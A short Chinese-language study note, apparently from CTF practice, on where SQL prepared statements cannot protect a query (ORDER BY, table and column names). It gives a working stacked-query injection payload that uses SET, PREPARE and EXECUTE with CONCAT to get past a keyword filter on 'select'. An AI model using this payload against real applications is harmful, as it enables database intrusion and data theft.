怎么突破预编译
凡是字符串但又不能加引号的位置都不能参数化
原因:
预编译只有自动加引号的setString()方法,没有不加引号的方法
而order by后面接的字段名不能有引号
- order by
- sql关键字
- 库名
- 表名
- 字段名
- 函数名
- ……………………….
预编译利用
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
比如目标过滤了select
select * from `1919810931114514`;
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#